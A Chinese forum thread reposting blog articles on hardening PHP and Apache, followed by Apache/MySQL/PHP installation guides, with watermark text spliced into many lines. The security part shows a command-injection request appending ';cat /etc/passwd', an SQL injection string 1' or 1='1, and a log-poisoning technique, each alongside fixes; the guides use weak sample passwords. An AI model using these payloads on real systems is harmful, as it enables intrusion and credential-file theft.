解决方法: loveme23 51cto技术博客
PHP-4.0.3以后提供了is_uploaded_file和move_uploaded_file函数,可以检查操loveme23 51cto技术博客
作的文件是否是用户上传的文件,从而避免把系统文件拷贝到web目录。 loveme23 51cto技术博客
使用$HTTP_POST_FILES数组来读取用户上传的文件变量。 loveme23 51cto技术博客
严格检查上传变量。比如不允许是php脚本文件。 loveme23 51cto技术博客
把PHP脚本操作限制在web目录可以避免程序员使用copy函数把系统文件拷贝到webloveme23 51cto技术博客
目录。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里uploveme23 51cto技术博客
load_tmp_dir的值。 loveme23 51cto技术博客
把PHP脚本用phpencode进行加密,避免由于copy操作泄漏源码。 loveme23 51cto技术博客
严格配置文件和目录的权限,只允许上传的目录能够让nobody用户可写。 loveme23 51cto技术博客
对于上传目录去掉PHP解释功能,可以通过修改httpd.conf实现: loveme23 51cto技术博客

php_flag engine off
#如果是php3换成php3_engine off loveme23 51cto技术博客
loveme23 51cto技术博客

重启apache,upload目录的php文件就不能被apache解释了,即使上传了php文件loveme23 51cto技术博客
也没有问题,只能直接显示源码。 loveme23 51cto技术博客
6、命令执行 loveme23 51cto技术博客
下面的代码片断是从PHPNetToolpack摘出,详细的描述见: loveme23 51cto技术博客
http://www.securityfocus.com/bid/4303 loveme23 51cto技术博客
//test_6.php
system("traceroute $a_query",$ret_strs);
?> loveme23 51cto技术博客
loveme23 51cto技术博客
由于程序没有过滤$a_query变量,所以攻击者可以用分号来追加执行命令。 loveme23 51cto技术博客
攻击者输入如下请求可以执行cat /etc/passwd命令: loveme23 51cto技术博客
_6.php?a_query=www.example.com;cat">http://victim/test_6.php?a_query=wwloveme23 51cto技术博客
w.example.com;cat /etc/passwd loveme23 51cto技术博客
PHP的命令执行函数还有system(), passthru(), popen()和``等。命令执行函数loveme23 51cto技术博客
非常危险,慎用。如果要使用一定要严格检查用户输入。 loveme23 51cto技术博客
解决方法: loveme23 51cto技术博客
要求程序员使用escapeshellcmd()函数过滤用户输入的shell命令。 loveme23 51cto技术博客
启用safe_mode可以杜绝很多执行命令的问题,不过要注意PHP的版本一定要是最loveme23 51cto技术博客
新的,小于PHP-4.2.2的都可能绕过safe_mode的限制去执行命令。 loveme23 51cto技术博客
7、sql_inject loveme23 51cto技术博客
如下的SQL语句如果未对变量进行处理就会存在问题: loveme23 51cto技术博客
select * from login where user='$user' and pass='$pass' loveme23 51cto技术博客
loveme23 51cto技术博客
攻击者可以用户名和口令都输入1' or 1='1绕过验证。 loveme23 51cto技术博客
不过幸亏PHP有一个默认的选项magic_quotes_gpc = On,该选项使得从GET, loveme23 51cto技术博客
POST, COOKIE来的变量自动加了addslashes()操作。上面SQL语句变成了: loveme23 51cto技术博客
select * from login where user='1\' or
1=\'1' and pass='1\' or 1=\'1' loveme23 51cto技术博客
loveme23 51cto技术博客
从而避免了此类sql_inject攻击。 loveme23 51cto技术博客
对于数字类型的字段,很多程序员会这样写: loveme23 51cto技术博客
select * from test where id=$id loveme23 51cto技术博客
loveme23 51cto技术博客
由于变量没有用单引号扩起来,就会造成sql_inject攻击。幸亏MySQL功能简单,loveme23 51cto技术博客
没有sqlserver等数据库有执行命令的SQL语句,而且PHP的mysql_query()函数也loveme23 51cto技术博客
只允许执行一条SQL语句,所以用分号隔开多条SQL语句的攻击也不能奏效。但是loveme23 51cto技术博客
攻击者起码还可以让查询语句出错,泄漏系统的一些信息,或者一些意想不到的loveme23 51cto技术博客
情况。 loveme23 51cto技术博客
解决方法: loveme23 51cto技术博客
要求程序员对所有用户提交的要放到SQL语句的变量进行过滤。 loveme23 51cto技术博客
即使是数字类型的字段,变量也要用单引号扩起来,MySQL自己会把字串处理成数loveme23 51cto技术博客
字。 loveme23 51cto技术博客
在MySQL里不要给PHP程序高级别权限的用户,只允许对自己的库进行操作,这也loveme23 51cto技术博客
避免了程序出现问题被 SELECT INTO OUTFILE ... 这种攻击。 loveme23 51cto技术博客
8、警告及错误信息 loveme23 51cto技术博客
PHP默认显示所有的警告及错误信息: loveme23 51cto技术博客
error_reporting = E_ALL & ~E_NOTICE
display_errors = On loveme23 51cto技术博客
loveme23 51cto技术博客
在平时开发调试时这非常有用,可以根据警告信息马上找到程序错误所在。 loveme23 51cto技术博客
正式应用时,警告及错误信息让用户不知所措,而且给攻击者泄漏了脚本所在的loveme23 51cto技术博客
物理路径,为攻击者的进一步攻击提供了有利的信息。而且由于自己没有访问到loveme23 51cto技术博客
错误的地方,反而不能及时修改程序的错误。所以把PHP的所有警告及错误信息记loveme23 51cto技术博客
录到一个日志文件是非常明智的,即不给攻击者泄漏物理路径,又能让自己知道loveme23 51cto技术博客
程序错误所在。 loveme23 51cto技术博客
修改php.ini中关于Error handling and logging部分内容: loveme23 51cto技术博客
error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log loveme23 51cto技术博客
loveme23 51cto技术博客
然后重启apache,注意文件/usr/local/apache/logs/php_error.log必需可以让nloveme23 51cto技术博客
obody用户可写。 loveme23 51cto技术博客
9、disable_functions loveme23 51cto技术博客
如果觉得有些函数还有威胁,可以设置php.ini里的disable_functions(这个选loveme23 51cto技术博客
项不能在httpd.conf里设置),比如: loveme23 51cto技术博客
disable_functions = phpinfo, get_cfg_var loveme23 51cto技术博客
loveme23 51cto技术博客
可以指定多个函数,用逗号分开。重启apache后,phpinfo, get_cfg_var函数都loveme23 51cto技术博客
被禁止了。建议关闭函数phpinfo, get_cfg_var,这两个函数容易泄漏服务器信loveme23 51cto技术博客
息,而且没有实际用处。 loveme23 51cto技术博客
10、disable_classes loveme23 51cto技术博客
这个选项是从PHP-4.3.2开始才有的,它可以禁用某些类,如果有多个用逗号分隔loveme23 51cto技术博客
类名。disable_classes也不能在httpd.conf里设置,只能在php.ini配置文件里loveme23 51cto技术博客
修改。 loveme23 51cto技术博客
11、open_basedir loveme23 51cto技术博客
前面分析例程的时候也多次提到用open_basedir对脚本操作路径进行限制,这里loveme23 51cto技术博客
再介绍一下它的特性。用open_basedir指定的限制实际上是前缀,不是目录名。loveme23 51cto技术博客
也就是说 "open_basedir = /dir/incl" 也会允许访问 "/dir/include" 和 loveme23 51cto技术博客
"/dir/incls",如果它们存在的话。如果要将访问限制在仅为指定的目录,用斜loveme23 51cto技术博客
线结束路径名。例如:"open_basedir = /dir/incl/"。 loveme23 51cto技术博客
可以设置多个目录,在Windows中,用分号分隔目录。在任何其它系统中用冒号分loveme23 51cto技术博客
隔目录。作为Apache模块时,父目录中的open_basedir路径自动被继承。 loveme23 51cto技术博客
四、其它安全配置 loveme23 51cto技术博客
1、取消其它用户对常用、重要系统命令的读写执行权限 loveme23 51cto技术博客
一般管理员维护只需一个普通用户和管理用户,除了这两个用户,给其它用户能loveme23 51cto技术博客
够执行和访问的东西应该越少越好,所以取消其它用户对常用、重要系统命令的loveme23 51cto技术博客
读写执行权限能在程序或者服务出现漏洞的时候给攻击者带来很大的迷惑。记住loveme23 51cto技术博客
一定要连读的权限也去掉,否则在linux下可以用/lib/ld-linux.so.2 /bin/ls这loveme23 51cto技术博客
种方式来执行。 loveme23 51cto技术博客
如果要取消某程如果是在chroot环境里,这个工作比较容易实现,否则,这项工loveme23 51cto技术博客
作还是有些挑战的。因为取消一些程序的执行权限会导致一些服务运行不正常。Ploveme23 51cto技术博客
HP的mail函数需要/bin/sh去调用sendmail发信,所以/bin/bash的执行权限不能loveme23 51cto技术博客
去掉。这是一项比较累人的工作, loveme23 51cto技术博客
2、去掉apache日志其它用户的读权限 loveme23 51cto技术博客
apache的access-log给一些出现本地包含漏洞的程序提供了方便之门。通过提交loveme23 51cto技术博客
包含PHP代码的URL,可以使access-log包含PHP代码,那么把包含文件指向accessloveme23 51cto技术博客
-log就可以执行那些PHP代码,从而获得本地访问权限。 loveme23 51cto技术博客
如果有其它虚拟主机,也应该相应去掉该日志文件其它用户的读权限。 loveme23 51cto技术博客
当然,如果你按照前面介绍的配置PHP那么一般已经是无法读取日志文件了。loveme23 51cto技术博客
 楼主| 发表于 2007-5-2 21:48:15 | 显示全部楼层
轻轻松松把 apache 配置安全

--------------------------------------------------------------------------------



声明:关于安全的事情没有保证的或者绝对的。这些建议可以让你的服务器更安全,但不要认为遵循这些建议后你的服务器就理所当然是安全的。
  另外,在这些建议中有的建议可能会降低服务器性能或者因为你的环境引起问题。我建议所作的任何改变是否适合你的需求完全由你决定。换句话说,那是你的风险。
  一、确保你安装的是最新的补丁
  如果门是敞开的话,在窗户上加锁就毫无意义。同样道理,如果你没有打补丁,继续下面的操作就没有什么必要。
  二、隐藏Apache的版本号及其它敏感信息
  默认情况下,很多Apache安装时会显示版本号及操作系统版本,甚至会显示服务器上安装的是什么样的Apache模块。这些信息可以为黑客所用,并且黑客还可以从中得知你所配置的服务器上的很多设置都是默认状态。
  这里有两条语句,你需要添加到你的httpd.conf文件中:
  ServerSignature Off
  ServerTokens Prod
  ServerSignature出现在Apache所产生的像404页面、目录列表等页面的底部。ServerTokens目录被用来判断Apache会在Server HTTP响应包的头部填充什么信息。如果把ServerTokens设为Prod,那么HTTP响应包头就会被设置成:
  Server:Apache
  如果你非常想尝试其它事物,你可以通过编辑源代码改成不是Apache的其它东西,或者你可以通过下面将要介绍的mod_security实现。
  三、确保Apache以其自身的用户账号和组运行
  有的Apache安装过程使得服务器以nobody的用户运行,所以,假定Apache和你的邮件服务器都是以nobody的账号运行的,那么通过Apache发起的攻击就可能同时攻击到邮件服务器,反之亦然。
  User apache
  Group apache
  四、确保web根目录之外的文件没有提供服务
  我们不让Apache访问web根目录之外的任何文件。假设你的所以web站点文件都放在一个目录下(例如/web),你可以如下设置:
  Order Deny,Allow
  Deny from all
  Options None
  AllowOverride None
  Order Allow,Deny
  Allow from all
  注意,因为我们设置Opitins None 和AllowOverride None,这将关闭服务器的所有Option和Override。你现在必须明确把每个目录设置成Option或者Override。
五、关闭目录浏览
  你可以在Directory标签内用Option命令来实现这个功能。设置Option为None或者-Indexes。
  Options -Indexes
  六、关闭includes
  这也可以通过在Directory标签内使用Option命令来实现。设置Option为None或者-Includes。
  Options -Includes
  七、关闭CGI执行程序
  如果你不用CGI,那么请把它关闭。在目录标签中把选项设置成None或-ExecCGI就可以:
  Options -ExecCGI
  八、禁止Apache遵循符号链接
  同上,把选项设置成None或-FollowSymLinks:
  Options -FollowSymLinks
  九、关闭多重选项
如果想关闭所有选项,很简单:
  Options None
  如果只想关系一些独立的选项,则通过将Options做如下设置可实现:
  Options -ExecCGI -FollowSymLinks -Indexes
  十、关闭对.htaccess文件的支持
  在一个目录标签中实现:
  AllowOverride None
  如果需要重载,则保证这些文件不能够被下载,或者把文件名改成非.htaccess文件。比如,我们可以改成.httpdoverride文件,然后像下面这样阻止所有以.ht打头的文件:
  AccessFileName .httpdoverride
  Order allow,deny
  Deny from all
  Satisfy All
  十一、运行mod_security
  Run mod_security是O’Reilly出版社出版的Apache Security一书的作者,Ivan Ristic所写的一个非常好用的一个Apache模块。可以用它实现以下功能:
  ·简单过滤
  ·基于过滤的常规表达式
  ·URL编码验证
  ·Unicode编码验证
  ·审计
  ·空字节攻击防止
  ·上载存储限制
  ·服务器身份隐藏
  ·内置的Chroot支持
  ·更多其它功能
  十二、关闭任何不必要的模块
  Apache通常会安装几个模块,浏览Apache的module documentation,了解已安装的各个模块是做什么用的。很多情况下,你会发现并不需要激活那些模块。
  找到httpd.conf中包含LoadModule的代码。要关闭这些模块,只需要在代码行前添加一个#号。要找到正在运行的模块,可以用以下语句:
  grep LoadModule httpd.conf
  以下模块通常被激活而并无大用:mod_imap, mod_include, mod_info, mod_userdir, mod_status, mod_cgi, mod_autoindex。还有问题请来论坛寻求帮助:http://www.xxlinux.com/bbs/
 楼主| 发表于 2007-5-2 21:49:45 | 显示全部楼层
apache+mysql+php安装方法




windows 2000/XP/2003下安裝APACHE2.0.53、PHP5.0.3、MYSQL4.1.10a、PHPMYADMIN2..6.1twtcom001 51cto技术博客
2005年03-31更新记录:twtcom001 51cto技术博客
1.把软件升级至目录最新.twtcom001 51cto技术博客
2.去掉CGI的安装方式.(避免让初学者看着糊涂)twtcom001 51cto技术博客
3.将mysql升级到官方推荐使用的4.1.*系列.5.0系列同样适用!twtcom001 51cto技术博客
4.加入GD2的支持twtcom001 51cto技术博客
twtcom001 51cto技术博客
twtcom001 51cto技术博客
PS:太懒,就根据luck_mlc的版本改制

--------------------------------------------------------------------------
先从各官方网站下了APACHE2.0.53、PHP5.03、MYSQL4.1.10a、PHPMYADMIN2.6.1
apache_2.0.53-win32-x86-no_ssl.msitwtcom001 51cto技术博客
PHP视角本地下载------http://down.phpv.net/soft/392.htmtwtcom001 51cto技术博客
官方下载 ------http://www.apache.orgtwtcom001 51cto技术博客

php-5.0.3-Win32.ziptwtcom001 51cto技术博客
PHP视角本地下载------http://down.phpv.net/soft/380.htmtwtcom001 51cto技术博客
官方下载---------http://www.php.nettwtcom001 51cto技术博客

mysql-noinstall-4.1.10-win32.ziptwtcom001 51cto技术博客
PHP视角本地下载------http://down.phpv.net/soft/393.htm twtcom001 51cto技术博客
官方下载---------http://www.mysql.orgtwtcom001 51cto技术博客

phpMyAdmin-2.6.1.ziptwtcom001 51cto技术博客
PHP视角本地下载------http://down.phpv.net/soft/378.htmtwtcom001 51cto技术博客
---------这个也可到天空下载站去下

由于时效性,你看贴的时候也许会有更高的版本的,不过如果没有特殊说明,安装方法是一样的

-------------------------------------------------------------------------------------------------------------


假设:系统盘为 c:/
假设:把所有的东西安装在D盘下的php目录下
假设:安装好后目录状态会是这样子:
apache-------------------------> d:/php/apache
mysql---------------------------> d:/php/mysql
php-----------------------------> d:/php/php
网页文件------------------------> d:/php/www
以上这些是我的喜好,你可以改成你喜欢的

第一步 安装mysql4.1.10a( 本文章的配置适用于mysql4.1 和 mysql5.0版本 )

将下载的的mysql压缩包,直接解压到指定目录(d:\php\mysql)就可以了
然后双击 D:\php\mysql\bin\winmysqladmin.exe 这个文件,请输入winmysqladmin的初始用户、密码 (注:这不是mysql里的用户、密码)随便填不必在意.确定之后你的右下角任务的启动栏会出现一个红绿灯的图标(绿灯),红灯亮代表服务停止,绿灯亮代表服务正常
(如果不是绿灯,就左击这个图标->winnt->install the service 安装此服务
再左击这个图标->winnt->start the service 启动mysql服务)

修改mysql数据库的root密码
开始->运行,输入cmd 然后cd 到d:\mysql\bin 执行以下命令

D:\mysql\bin>mysql

进入mysql后接着执行:
twtcom001 51cto技术博客
(将root密码设置为easy)twtcom001 51cto技术博客

下面一步是让PHP可以连接到mysql4.1以上版本的,一定不可以省略。具体可参考http://www.phpv.net/article.php/288


密码请根据你需要换成别的twtcom001 51cto技术博客

如果你下载的是进制安装包,解压到任意目录后就直接双击setup.exe 文件,按照你安装软件的习惯装好它,记得到路径选择那一步时请写d:\php\mysql 装好后打开d:\php\mysql\bin\文件夹,双击winmysqladmin.exe文件,会弹出一个窗口,要求设置你的mysql服务的管理员用户名密码.自己定吧


两种方法区别一看就明了.

第二步: 安装apache 并配置支持PHP

双击安装文件apache_2.0.53-win32-x86-no_ssl.msi
将apache安装在 D:\php\apache 目录下
还会有输入框,提示输入域名呀管理员信箱,随便填就是了.
+-----------------------------------------------------
| 注: 安装完后会自动安装并启动apache的服务,如在此处出现问题:
|“(OS 10048)通常每个套接字地址 (协议/网络地址/端口) 只允许使用一次:
| make_sock: could not bind to address 0.0.0.0:80...” 一般是IIS占用了80端口引起的
| 解决方法: 打开 控制面板->服务 找到 IIS admin 的服务 关闭并禁用
| 然后用CMD进入命令行模式 进入你安装apache的目录 /apache2/bin
| 输入
| apache -k install
| apache -k start
| 如果成功的话,再接着做下面的!
+--------------------------------------------------------------

将php-5.0.3-Win32.zip 里内容解压到 D:\php\php 里

找到 php目录里的 php.ini-dist (似乎这是一个习惯,其实我更喜欢用php.ini-recommended)重命名为 php.ini 并拷到 windows系统目录下(特殊情况:win2k系统目录为winnt)
如我的php.ini是拷到 c:\windows目录
再将php目录里的 php5ts.dll,libmysql.dll 拷到 系统目录系统目录如我的是c:\windows 里(也可以是c:\windows\system32)twtcom001 51cto技术博客
twtcom001 51cto技术博客
最后到D:\php\php\ext下将php_gd2.dll php_mysql.dll这两个文件复制到system/system32如我的是c:\windows\system里

配置apache里的httpd.conf

打开 D:\php\Apache\conf\httpd.conf 这个文件

找到 AddDefaultCharset ISO-8859-1 将其改为

AddDefaultCharset GB2312 (让默认语言编码为简体中文)

找到 DocumentRoot "D:/php/Apache2/htdocs" 将其改为你的WEB目录,如我的为

DocumentRoot "D:/php/www"

找到 DirectoryIndex index.html index.html.var 在后面加入 index.htm index.php (默认index.php为首页文件)

--------------模块化安装PHP----------------------------------------
找到 #LoadModule ssl_module modules/mod_ssl.so 这行,在此行后加入一行

LoadModule php5_module d:/php/php/php5apache2.dll

其中d:/php/php/php5apache2.dll 为你php目录中php5apache2.dll所在的位置

再找到 AddType application/x-gzip .gz .tgz 这行,在此行后加入一行

AddType application/x-httpd-php .php

(其实:上面两行红色的,你可以直接加在httpd.conf文件的最后面也可以的)
--------------------------------------------------------------------

此时PHP环境基本已经配置成功
在WEB根目录(如我的D:\php\www)里建一个名为test.php (提示:用记事本的朋友,请避免文件为test.php.txt) ,的文件内容如下 twtcom001 51cto技术博客
PHP代码:twtcom001 51cto技术博客
<? echo phpinfo(); ?> twtcom001 51cto技术博客twtcom001 51cto技术博客
重新启动apache服务
用浏览器打开 http://localhost/test.php
如果可以看到php配置输出信息就OK了
(如果看到的是下载页面或者<? echo phpinfo(); ?>,请查查你所做的与上面是否有错漏)twtcom001 51cto技术博客


三、配置php.ini并测试mysql、GD2(php.ini为 c:\windows下的 php.ini)


找到
;extension=php_mysql.dll
将';'去掉改为.

extension=php_mysql.dlltwtcom001 51cto技术博客
twtcom001 51cto技术博客
找到twtcom001 51cto技术博客
;extension=php_gd2.dll 去掉前面的; 以便支持GD库.如twtcom001 51cto技术博客
twtcom001 51cto技术博客
extension=php_gd2.dll

找到
;session.save_path = "/tmp"
将';'去掉.设置你保存session的目录,如

session.save_path = "C:\WINDOWS\Temp";

twtcom001 51cto技术博客
twtcom001 51cto技术博客
重启apache服务
在Web根目录下(如 D:\php\www)建立testdb.php文件内容如下: twtcom001 51cto技术博客
PHP代码:twtcom001 51cto技术博客
<?php
$link=mysql_connect('localhost','root','123456'); //这里的root和123456是MYSQL的用户和密码,请根据你自己的情况改好
if(!$link) echo "fail";
else echo "success";
mysql_close();
?> twtcom001 51cto技术博客twtcom001 51cto技术博客
用浏览器打开http://localhost/testdb.php 如果输出success就OK了

四、phpmyadmin的安装配置

将phpMyAdmin-2.6.1.zip解压到WEB根目录(d:\php\www\中去),重命名文件夹为phpmyadmin或其它
打开phpmyadmin 目录中的 config.inc.php
找到以下这些(以下我已改好):

$cfg['PmaAbsoluteUri'] = 'http://localhost/phpmyadmin';  //假设是有域名的服务器,可改成http://域名/phpmyadmin


$cfg['Servers'][$i]['user'] = 'root';

$cfg['Servers'][$i]['password'] = 'easy; //分别填上你mysql的用户和密码即可

$cfg['Servers'][$i]['auth_type'] = 'http'; // 这里也可以改为cookie



改好了保存,在浏览器打开http://localhost/phpmyadmin 输入你的用户名和密码,便可以管理mysql了


差不多了,如果你想让你的PHP代码执行得更快,就再装个Zend Optimizer.twtcom001 51cto技术博客
可到http://down.phpv.net/soft/379.htm下载twtcom001 51cto技术博客

方法是:下载后双击,选择路径安装.问PHP.INI路径就填 c:/windows

装好重启apache服务.再看http://localhost/test.php 时应该看到会多一些东西
with Zend Extension Manager v1.0.3, Copyright (c) 2003-2004, by Zend Technologies
with Zend Optimizer v2.5.7, Copyright (c) 1998-2004, by Zend Technologies
 楼主| 发表于 2007-5-2 21:51:28 | 显示全部楼层
Apache-mysql-php安装

--------------------------------------------------------------------------------

2006-11-23 15:25:38 标签:php Mysql SQL Apache 


redhat linux 9.0serveru 51cto技术博客
Apache2.2.3源码安装过程serveru 51cto技术博客
下载到/usr/src目录,解压缩,解档serveru 51cto技术博客
root# cd httpd.2.2.3serveru 51cto技术博客
root# ./configure --prefix=/usr/local/apache2 --enable-ssl --enable-rewrite --enable-spelingserveru 51cto技术博客
root# makeserveru 51cto技术博客
root# make installserveru 51cto技术博客
root# /usr/local/apache2/bin/apachectl -k startserveru 51cto技术博客
root# /usr/local/apache2/bin/apachectl -k stopserveru 51cto技术博客
root# /usr/local/apache2/bin/apachectl -k restart    or  killall -HUP httpdserveru 51cto技术博客

/usr/local/apache2/bin/httpd -l 查看已安装的模块serveru 51cto技术博客
serveru 51cto技术博客
------------------------------------------------------------------------
mysql-5.0.22安装手册serveru 51cto技术博客

#groupadd mysql
#useradd -g mysql mysql
#tar zxvf mysql-5.0.22.tar.gz    /*会生成一个mysql-5.0.22的目录*/
#cd mysql-5.0.22
#./configure --prefix=/usr/local/mysql
#make
#make install
#cp support-files/my-medium.cnf /etc/my.cnf    /*如果这时系统问是否覆盖重名文件,回答y*/
#cd /usr/local/mysql
#bin/mysql_install_db --user=mysql    /*以mysql用户建系统库,必须以mysql用户,这点很重要!*/
#chown -R root  .
#chown -R mysql var
#chgrp -R mysql .
#bin/mysqld_safe --user=mysql &    /*也要用mysql用户运行。
#Starting mysqld daemon with databases from /usr/local/mysql/var /*恭喜!成功了!*/serveru 51cto技术博客
-------------------------------------------------------------------------------------
pHP-4.4.4serveru 51cto技术博客
系统自带是libxml2的版本是2.5.4的,在php配置的过程中报错,下载了一个更新的libxml2-2.6.12.tar.gz.
# cd /root
# tar zxvf libxml2-2.6.12.tar.gz
# cd libxml2-2.6.12
# ./configure
# make
# make install serveru 51cto技术博客
1.解压缩后运行
# ./configure --prefix=/usr/local/php --with-apxs2=/usr/local/apache2/bin/apxs --with-mysql=/usr/local/mysqlserveru 51cto技术博客
# make
# make test
# make install
# cp php.ini-dist /usr/local/lib/php.iniserveru 51cto技术博客
2.编辑apache配置文件/etc/httpd.conf,增加php支持
AddType application/x-httpd-php .php .phtml
AddType application/x-httpd-php-source .phpsserveru 51cto技术博客
LoadModule php4_module modules/libphp4.so    ---系统已添加
DirectoryIndex index.php default.php index.htm index.html default.htm default.html  ---添加首页默认文件serveru

在网页根目录下增加一个测试页test.php
  
vi test.phpserveru 51cto技术博客
<?php
phpinfo () ;
?> serveru 51cto技术博客
http://localhost/test.phpserveru serveru
您需要登录后才可以回帖 登录 | 注册

本版积分规则

小黑屋|手机版|Archiver|boway Inc. ( 冀ICP备10011147号 )

GMT+8, 2024-5-17 18:33 , Processed in 0.203604 second(s), 16 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表